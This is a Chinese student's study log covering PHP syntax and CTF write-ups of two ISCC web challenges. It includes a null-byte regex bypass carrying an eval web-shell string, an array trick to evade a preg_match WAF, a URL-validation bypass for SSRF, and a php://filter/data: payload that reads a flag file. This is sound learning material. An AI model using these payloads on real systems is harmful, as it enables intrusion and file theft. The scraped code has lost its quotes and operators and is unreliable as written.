当前位置: 首页 > news >正文

学习日志(三)【php语法学习,iscc校赛wp】

1. 任务1.1.1.1.1.1. 知识部分rce看【之前的笔记】php的知识点学习继续jwt token好像是比赛的题目考察内容我看看php伪协议1.1.1.1.1.2. 题目参加iscc比赛【五一】rce题目1.1.1.1.1.3. 环境配置把vscode搞好上学期没有把Php配置弄好2. 知识点学习2.1. php继续学习https://www.runoob.com/php/php-variables.html2.1.1. php if-else2.1.2. lfelse语句2.1.2.1. 条件语句if 语句- 在条件成立时执行代码if...else 语句- 在条件成立时执行一块代码条件不成立时执行另一块代码if...elseif....else 语句- 在若干条件之一成立时执行一个代码块switch 语句- 在若干条件之一成立时执行一个代码块2.1.2.2. 其实c语言里面已经讲过简单带过2.1.3. php switch语句?php switch (expression) { case value1: // 代码块1 break; case value2: // 代码块2 break; // 更多的 case 语句 default: // 如果没有匹配的值 } ?expression是要被比较的表达式。case value:是可能的值如果expression的值等于某个case的值就执行相应的代码块。break;用于终止switch语句防止继续执行下一个case。default:是可选的用于指定当没有匹配的case时执行的代码块。2.1.3.1.1. 栗子?php $favcolorred; switch ($favcolor) { case red: echo 你喜欢的颜色是红色!; break; case blue: echo 你喜欢的颜色是蓝色!; break; case green: echo 你喜欢的颜色是绿色!; break; default: echo 你喜欢的颜色不是 红, 蓝, 或绿色!; } ?2.1.4. php 数组数组是一个能在单个变量中存储多个值的特殊变量。数值数组- 带有数字 ID 键的数组关联数组- 带有指定的键的数组每个键关联一个值多维数组- 包含一个或多个数组的数组2.1.4.1. 数值数组自动从0开始计数可以更加便捷地去表示这个位置内容数据2.1.4.1.1. 获取长度count$cars2.1.4.1.2. 遍历使用For循环2.1.4.2. 关联数组指代2.1.4.2.1. 遍历数组2.1.4.2.1.1. 补充【使用函数foreach】// 格式1只获取元素值不需要键名 foreach (要遍历的数组 as $当前元素值) { // 循环体逻辑 } // 格式2同时获取元素的键和值 foreach (要遍历的数组 as $当前键名 $当前元素值) { // 循环体逻辑 }栗子$userInfo [ username admin, role root, id 1 ]; foreach ($userInfo as $key $value) { echo {$key}{$value}br; } // 输出 // usernameadmin // roleroot // id1$userInfo [ username admin, role root, id 1 ]; // 只拿值不拿键 foreach ($userInfo as $value) { echo {$value}br; } // 输出 // admin // root // 1 foreach ($userInfo as $key $value) { echo {$key}br; } //输出 // username // role // id2.1.5. php数组排序sort()- 对数组进行升序排列rsort()- 对数组进行降序排列asort()- 根据关联数组的值对数组进行升序排列ksort()- 根据关联数组的键对数组进行升序排列arsort()- 根据关联数组的值对数组进行降序排列krsort()- 根据关联数组的键对数组进行降序排列2.1.5.1. sort(),rsort()[0]2,,,[1]42.1.5.2. asort(),arsort(),ksort(),krsort()a:是值后面那个 #k:是键前面那个 # 2.1.6. PHP 表单 - 验证邮件和URL2.1.6.1.1. preg_match — 进行正则表达式匹配int preg_match ( string $pattern , string $subject [, array $matches [, int $flags ]] )参数作用说明$pattern正则规则必填必须是完整的正则表达式需要用分隔符包裹常用/例如/test/i$subject目标字符串必填要匹配的原始字符串$matches匹配结果可选存储匹配到的结果$matches[0]是整个正则匹配到的内容$matches[1]是第一个分组的结果以此类推$flags标记位可选用来修改匹配行为常用值PREG_OFFSET_CAPTURE会同时返回匹配结果在字符串中的偏移位置匹配成功输出1,对应内容若!preg_match($pattern, $username)则是不符合不匹配时进行的操作符号含义作用/正则定界符PHP正则必须用分隔符把规则包起来常用/只是语法要求本身不匹配内容^匹配开头代表必须从字符串的第一个字符就开始符合规则不能在开头插入其他内容\d匹配数字和[0-9]一个意思代表只能匹配0~9的阿拉伯数字量词代表前面的\d至少出现1次不允许空字符串$匹配结尾代表必须匹配到字符串的最后一个字符不能在结尾留其他非数字内容2.1.6.1.1.1. 例子1获取URL中的参数值CTF代码审计常考提取URL路径中/flag_xxxxxx格式的flag编号$url /api/flag_1a2b3c4d/get.php; // 正则匹配flag_后面的任意字符 $pattern /flag_([a-zA-Z0-9])/; preg_match($pattern, $url, $matches); echo 匹配到的flagflag_ . $matches[1]; // 输出匹配到的flagflag_1a2b3c4d2.1.6.1.1.2. 例子2用户名正则校验绕过场景场景要求用户名只能是字母不能包含特殊字符且必须以字母开头$username admin123; // 正则规则开头到结尾只能是字母 $pattern /^[a-zA-Z]$/; if (!preg_match($pattern, $username)) { echo 用户名不合法不能包含数字;//匹配不成功 } else { echo 用户名合法; } // 这里$username是admin123输出用户名不合法不能包含数字对应PHP 5.2下的绕过例子如果正则要求必须只包含字母但我们想插入攻击代码可以用空字节截断绕过// 插入了\0%00截断后面的攻击代码不会被检查 $username admin\0?php eval($_GET[cmd]);?; $pattern /^[$/; if (!preg_match($pattern, $username)) { echo 用户名不合法; } else { echo 用户名合法; } // 在PHP 5.2中会输出用户名合法成功绕过正则检测2.1.6.1.1.3. 例子3WAF绕过数组绕过a-zA-Z]场景WAF用preg_match检测POST参数中是否有eval等危险关键词// 服务端检测逻辑 if (preg_match(/eval|union|select/i, $_POST[content])) { die(检测到恶意内容已拦截);//匹配成功 } echo 请求通过; // 绕过方法把content传成数组而不是字符串 // content[0]test此时preg_match匹配数组会直接返回falseWAF拦截不生效 // 最终会输出请求通过绕过成功这也是你做Web渗透测试时非常实用的绕过技巧。2.1.6.1. 验证 URL邮箱名称?php // 定义变量并默认设置为空值 $nameErr $emailErr $genderErr $websiteErr ; $name $email $gender $comment $website ; if ($_SERVER[REQUEST_METHOD] POST) { if (empty($_POST[name])) { $nameErr Name is required; } else { $name test_input($_POST[name]); // 检测名字是否只包含字母跟空格 if (!preg_match(/^[a-zA-Z ]*$/,$name)) { $nameErr 只允许字母和空格; } } if (empty($_POST[email])) { $emailErr Email is required; } else { $email test_input($_POST[email]); // 检测邮箱是否合法 if (!preg_match(/([\w\-]\[\w\-]\.[\w\-])/,$email)) { $emailErr 非法邮箱格式; } } if (empty($_POST[website])) { $website ; } else { $website test_input($_POST[website]); // 检测 URL 地址是否合法 if (!preg_match(/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9#\/%?~_|!:,.;]*[-a-z0-9#\/%~_|]/i,$website)) { $websiteErr 非法的 URL 的地址; } } if (empty($_POST[comment])) { $comment ; } else { $comment test_input($_POST[comment]); } if (empty($_POST[gender])) { $genderErr 性别是必需的; } else { $gender test_input($_POST[gender]); } } ?2.1.7. php 时间string date ( string $format [, int $timestamp ] )参数描述format必需。规定时间戳的格式。timestamp可选。规定时间戳。默认是当前的日期和时间。date() 函数的第一个必需参数format规定了如何格式化日期/时间。format字符说明返回值例子日------d月份中的第几天有前导零的 2 位数字01到31D星期中的第几天文本表示3 个字母Mon到Sunj月份中的第几天没有前导零1到31lL的小写字母星期几完整的文本格式Sunday到SaturdayNISO-8601 格式数字表示的星期中的第几天PHP 5.1.0 新加1表示星期一到7表示星期天S每月天数后面的英文后缀2 个字符stndrd或者th。可以和j一起用w星期中的第几天数字表示0表示星期天到6表示星期六z年份中的第几天0到365星期------WISO-8601 格式年份中的第几周每周从星期一开始PHP 4.1.0 新加的例如42当年的第 42 周月------F月份完整的文本格式例如 January 或者 MarchJanuary到Decemberm数字表示的月份有前导零01到12M三个字母缩写表示的月份Jan到Decn数字表示的月份没有前导零1到12t给定月份所应有的天数28到31年------L是否为闰年如果是闰年为1否则为0oISO-8601 格式年份数字。这和Y的值相同只除了如果 ISO 的星期数W属于前一年或下一年则用那一年。PHP 5.1.0 新加Examples:1999or2003Y4 位数字完整表示的年份例如1999或2003y2 位数字表示的年份例如99或03时间------a小写的上午和下午值am或pmA大写的上午和下午值AM或PMBSwatch Internet 标准时000到999g小时12 小时格式没有前导零1到12G小时24 小时格式没有前导零0到23h小时12 小时格式有前导零01到12H小时24 小时格式有前导零00到23i有前导零的分钟数00到59s秒数有前导零00到59u毫秒 PHP 5.2.2 新加。需要注意的是date()函数总是返回000000因为它只接受 integer 参数 而 DateTime::format() 才支持毫秒。示例:654321时区------e时区标识PHP 5.1.0 新加例如UTCGMTAtlantic/AzoresI是否为夏令时如果是夏令时为1否则为0O与格林威治时间相差的小时数例如0200P与格林威治时间GMT的差别小时和分钟之间有冒号分隔PHP 5.1.3 新加例如02:00T本机所在的时区例如ESTMDT【译者注】在 Windows 下为完整文本格式例如Eastern Standard Time中文版会显示中国标准时间。Z时差偏移量的秒数。UTC 西边的时区偏移量总是负的UTC 东边的时区偏移量总是正的。-43200到43200完整的日期时间------cISO 8601 格式的日期PHP 5 新加2004-02-12T15:19:2100:00rRFC 822 格式的日期例如Thu, 21 Dec 2000 16:01:07 0200U从 Unix 纪元January 1 1970 00:00:00 GMT开始至今的秒数参见 time()2.1.8. php过滤器2.1.8.1. 过滤器是什么PHP 过滤器用于验证和过滤来自非安全来源的数据。测试、验证和过滤用户输入或自定义数据是任何 Web 应用程序的重要组成部分。PHP 的过滤器扩展的设计目的是使数据过滤更轻松快捷。2.1.8.2. 函数和过滤器filter_var()- 通过一个指定的过滤器来过滤单一的变量filter_var_array()- 通过相同的或不同的过滤器来过滤多个变量filter_input- 获取一个输入变量并对它进行过滤filter_input_array- 获取多个输入变量并通过相同的或不同的过滤器对它们进行过滤2.1.8.2.1. 栗子FILTER_VALIDATE_INT验证是否是整数验证数字参数最常用// 验证id是否是整数 $id $_GET[id]; if(filter_var($id, FILTER_VALIDATE_INT)){ echo 合法参数; }FILTER_SANITIZE_STRING过滤字符串去除标签和特殊字符用来防止XSSFILTER_VALIDATE_URL验证URL格式代码题中经常用来考URL绕过【FILTER_VALIDATE_URL要求必须有http://协议头我们可以通过在URL中嵌入来绕过host验证例如http://example.com127.0.0.1会被误认为访问example.com实际解析的是127.0.0.1可以触发SSRF绕过。】FILTER_VALIDATE_IP验证IP地址格式2.1.8.3. Validating 和 Sanitizing有两种过滤器Validating 过滤器用于验证用户输入严格的格式规则比如 URL 或 E-Mail 验证如果成功则返回预期的类型如果失败则返回 FALSESanitizing 过滤器用于允许或禁止字符串中指定的字符无数据格式规则始终返回字符串验证输入第一段FILTER_VALIDATE_EMAIL属于验证类过滤器只做格式验证返回结果是true合法 或false非法不会修改你的原始输入。第二段FILTER_SANITIZE_URL属于净化类过滤器会直接修改输入内容自动删除URL中不允许的特殊字符比如空格、非ASCII字符、#、这些符号返回处理后的干净字符串。2.1.8.4. 验证输入?php if(!filter_has_var(INPUT_GET, email)) { echo(没有 email 参数); } else { if (!filter_input(INPUT_GET, email, FILTER_VALIDATE_EMAIL)) { echo 不是一个合法的 E-Mail; } else { echo 是一个合法的 E-Mail; } } ?上面的实例有一个通过 GET 方法传送的输入变量 (email)检测是否存在 GET 类型的 email 输入变量如果存在输入变量检测它是否是有效的 e-mail 地址2.1.8.5. 净化输入?php if(!filter_has_var(INPUT_GET, url)) { echo(没有 url 参数); } else { $url filter_input(INPUT_GET, url, FILTER_SANITIZE_URL); echo $url; } ?上面的实例有一个通过 GET 方法传送的输入变量 (url)检测是否存在 GET 类型的 url 输入变量如果存在此输入变量对其进行净化删除非法字符并将其存储在 $url 变量中2.1.8.6. 过滤多个输入?php $filters array ( // name字段使用FILTER_SANITIZE_STRING净化 name array ( filterFILTER_SANITIZE_STRING ), // age字段验证是否是整数同时限制范围1-120 age array ( filterFILTER_VALIDATE_INT, optionsarray ( min_range1, max_range120 ) ), // email字段直接验证邮箱格式 email FILTER_VALIDATE_EMAIL ); $result filter_input_array(INPUT_GET, $filters); //一次性从INPUT_GET也就是URL参数中获取三个参数 //按照上面定义的规则分别过滤结果会按字段名存回到$result数组中。 if (!$result[age]) { echo(年龄必须在 1 到 120 之间。br); } elseif(!$result[email]) { echo(E-Mail 不合法br); } else { echo(输入正确); } ?filter_input_array()函数的第二个参数可以是数组或单一过滤器的 ID。如果该参数是单一过滤器的 ID那么这个指定的过滤器会过滤输入数组中所有的值。如果该参数是一个数组那么此数组必须遵循下面的规则必须是一个关联数组其中包含的输入变量是数组的键比如 age 输入变量此数组的值必须是过滤器的 ID 或者是规定了过滤器、标志和选项的数组2.1.8.7. 使用 Filter Callback通过使用FILTER_CALLBACK过滤器可以调用自定义的函数把它作为一个过滤器来使用。3. 题目3.1. iscc题目一3.1.1. 题目3.1.2. 解题3.1.2.1. 第一步随便输入一个数3.1.2.2. 第二步看不懂这个知识点我应该是不会一番查询过后好像考察的是JWT的token?查博客token与JWT详细介绍_jwt token-CSDN博客基于jwt的token验证、原理及流程_jwt token-CSDN博客一篇了解什么是Token、什么是Jwt_jwt token-CSDN博客JWTJSON Web Token全维度渗透测试实战与防御体系构建_cve-2020-26160-CSDN博客应该可能使用的工具JWT在线工具 - kjson在线工具在线JWT Token生成3.1.2.3. 放弃3.1.2.4. 额看了眼别人的答案得知没有我想的那么复杂只是一个简单的key过滤【我竟然还想了那么多】首先输入key123,发现key没了说明被绕过了这个其实在题目也有提示然后想办法绕过这个key如双写kkeyey第一关过了接下来让你用post写aa[key]1337下一关用get来写要使得a,b相等md5的哈希碰撞有专门的计算方式一查就可a240610708 b3142824223.2. iscc题目二3.2.1. 题目我们上线了一个“JSON 美化 预览”小工具提交数据后会生成一个临时预览文件方便复查内容。3.2.2. 解答过程3.2.2.1. 第一步我先照抄了一下json3.2.2.2. 第二步发现错误提示/robots.txt3.2.2.3. 第三步前往preview.phpbeautify.php发现这两个地方也是不可访问可能是没写完整3.2.2.4. 第四步根据preview.php要求查找preview.php源代码使用伪协议去看preview.php的源代码因为之前只看见beautify.php的源代码根据提示可能是层级不对找到源代码了?php declare(strict_types1); header(Content-Type: text/plain; charsetutf-8); header(X-Powered-By: JSON Preview); error_reporting(0); require_once __DIR__ . /config.php; function out(int $code, string $body): void { http_response_code($code); echo $body; exit; } function startsWith(string $s, string $prefix): bool { return strncmp($s, $prefix, strlen($prefix)) 0; } function schemeOf(string $uri): ?string { $p strpos($uri, ://); if ($p false) return null; $scheme substr($uri, 0, $p); if (preg_match(/^[a-zA-Z][a-zA-Z0-9\.\-]*$/, $scheme) ! 1) { return null; } return strtolower($scheme); } if ($_SERVER[REQUEST_METHOD] ! GET) { out(405, Method Not Allowed\n); } if (!isset($_GET[file]) || trim((string)$_GET[file]) ) { out(200, JSON Preview API\n\n . Usage:\n . GET /api/preview.php?filename\n\n . 有些东西离这里有点远也许换个路径层级再看看会遇到更有意思的文件。\n ); } $file (string)$_GET[file]; $file str_replace(\0, , $file); $requested TMP_DIR . / . $file; if (strpos($requested, TMP_DIR) ! 0) { out(400, Bad path\n); } $real realpath($requested); if ($real false || !is_file($real)) { out(404, Not Found\n); } $tmpPrefix rtrim(TMP_DIR, /) . /; $srcPrefix rtrim(SRC_API_DIR, /) . /; if (!startsWith($real, $tmpPrefix) !startsWith($real, $srcPrefix)) { out(403, Forbidden\n); } $content file_get_contents($real); if ($content false) { out(500, Read error\n); } $isTmp startsWith($real, $tmpPrefix) preg_match(/\.tmp$/, $real) 1; $line trim((string)$content); if ($isTmp) { $scheme schemeOf($line); if ($scheme ! null) { $deny [ http, https, ftp, ftps, phar, expect, ]; if (in_array($scheme, $deny, true)) { out(403, Forbidden scheme\n); } $pos stripos($line, resource); if ($pos false) { out(400, Bad reference\n); } $resource rawurldecode(substr($line, $pos 9)); if ($resource ! FLAG_PATH) { out(403, Forbidden resource\n); } $data file_get_contents($line); if ($data false) { out(500, Resource read error\n); } echo $data; exit; } } echo $content;3.2.2.4.1.1. 补充知识点读取网站当前目录的源码当不确定网站的绝对路径时不需要爆破路径直接通过php://filter/readconvert.base64-encode/resource/proc/self/cwd/xxx.php就可以直接读取当前目录下任意PHP文件的源码完美解决路径未知的问题。3.2.2.5. 第五步进行代码审计我打包给ai了declare(strict_types1); 开启PHP严格类型模式强制函数参数和返回值必须匹配声明的类型 避免隐式类型转换导致的安全问题是现代PHP安全编码的标准写法。header(Content-Type: text/plain; charsetutf-8); header(X-Powered-By: JSON Preview); 第一行强制响应内容为纯文本UTF8编码避免乱码 第二行自定义响应头模拟成JSON预览工具的后端接口require_once __DIR__ . /config.php; 作用加载当前目录下的config.php配置文件 通常这里会定义TMP_DIR、SRC_API_DIR、FLAG_PATH等题目核心常量。漏洞点1$deny [ http, https, ftp, ftps, phar, expect, ];没有过滤php://流协议尤其是php://filter[伪协议绕过]漏洞点2$pos stripos($line, resource); //resource就是9 $resource rawurldecode(substr($line, $pos 9)); //做了一次URL解码 if ($resource ! FLAG_PATH) { out(403, Forbidden resource\n); }$data file_get_contents($line); 用file_get_contents直接读取用户传入的URI内容 file_get_contents解析URI时PHP自动对URI进行第二次解码【所以要编码两次】3.2.2.6. 第六步答案php://filter/convert.base64-encode/resource/secret/flagconvert.base64-encode过滤器作用是将读取到的文件内容做Base64编码转换对上面进行base64编码data:text/plain;base64,cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vc2VjcmV0L2ZsYWc去访问在preview.php的页面中传入?filepreview文件https://www.toolhelper.cn/EncodeDecode/Base64解码
http://www.gsyq.cn/news/1383133.html

相关文章:

  • BTT v6.521 For Mac:触控板与鼠标手势增强工具
  • 使用Taotoken后,我们Agent服务的延迟与稳定性得到了显著改善
  • 免提通话中的非线性回声与神经降噪:A-29P 模块背后的算法与系统架构
  • DeepSeek幻觉问题终极拆解:LLM知识蒸馏失真×检索增强断连×后处理规则盲区(附可运行检测脚本)
  • 中小型创业公司如何借助Taotoken聚合平台优化AI产品开发流程
  • 保姆级教程:为你的Android阅读App集成离线语音朗读(基于科大讯飞引擎3.0)
  • 自制物理香支计时器:无电子元件的燃烧定时方案
  • Gemini 3.5 Flash 发布公告 越级、提速,Google 正式转向智能体竞争
  • 资源受限下基于AoI感知与DRL的智能波束预测框架
  • 2026质感瓷砖选购全解析:核心判断维度+高端品牌信息,避坑选购有参考 - 寻茫精选
  • YOLOv8垃圾分类识别检测系统(项目源码+YOLO数据集+模型权重+UI界面+python+深度学习+环境配置)
  • 5步掌握大麦网抢票神器:告别黄牛票的Python自动化方案
  • YOLOv8道路坑洼识别检测系统(项目源码+YOLO数据集+模型权重+UI界面+python+深度学习+环境配置)
  • FModel终极指南:5步掌握虚幻引擎游戏资源提取的完整解决方案
  • PHP远程命令执行漏洞(RCE)原理与实战防御指南
  • HiveWE:魔兽争霸III地图编辑器的现代化革新
  • 低成本高精度激光测距:基于CCD三角法的DIY方案与Arduino集成
  • USBCopyer终极指南:Windows平台U盘文件自动备份与管理神器
  • 国产数据中台的下半场:为什么ETL不再是ETL,数据开发正在被重新定义
  • 吃透Docker!从原理、安装、核心命令到镜像制作、网络实战(保姆级入门教程)
  • 5分钟掌握SPT-AKI存档编辑器:离线塔科夫终极修改工具完整指南
  • 艾尔登法环帧率优化完全指南:从卡顿到丝滑的终极解决方案
  • AI算法工程师必知的深度学习优化技巧:这4个方法让你的模型更高效
  • 新手教程使用Python和OpenAI兼容SDK五分钟接入Taotoken
  • go slice在函数间的传递模式
  • 5分钟快速上手:Highlighter浏览器扩展终极指南 - 免费网页高亮工具
  • 美国海运专线VS空运:哪种跨境物流更适合你的生意? - 恒盛通物流
  • Hermes agent的tools是怎么落地应用的系列
  • 终极抖音下载器完整指南:免费开源工具让你轻松批量下载无水印视频
  • TuxGuitar完整指南:5大核心功能解锁专业吉他谱创作新境界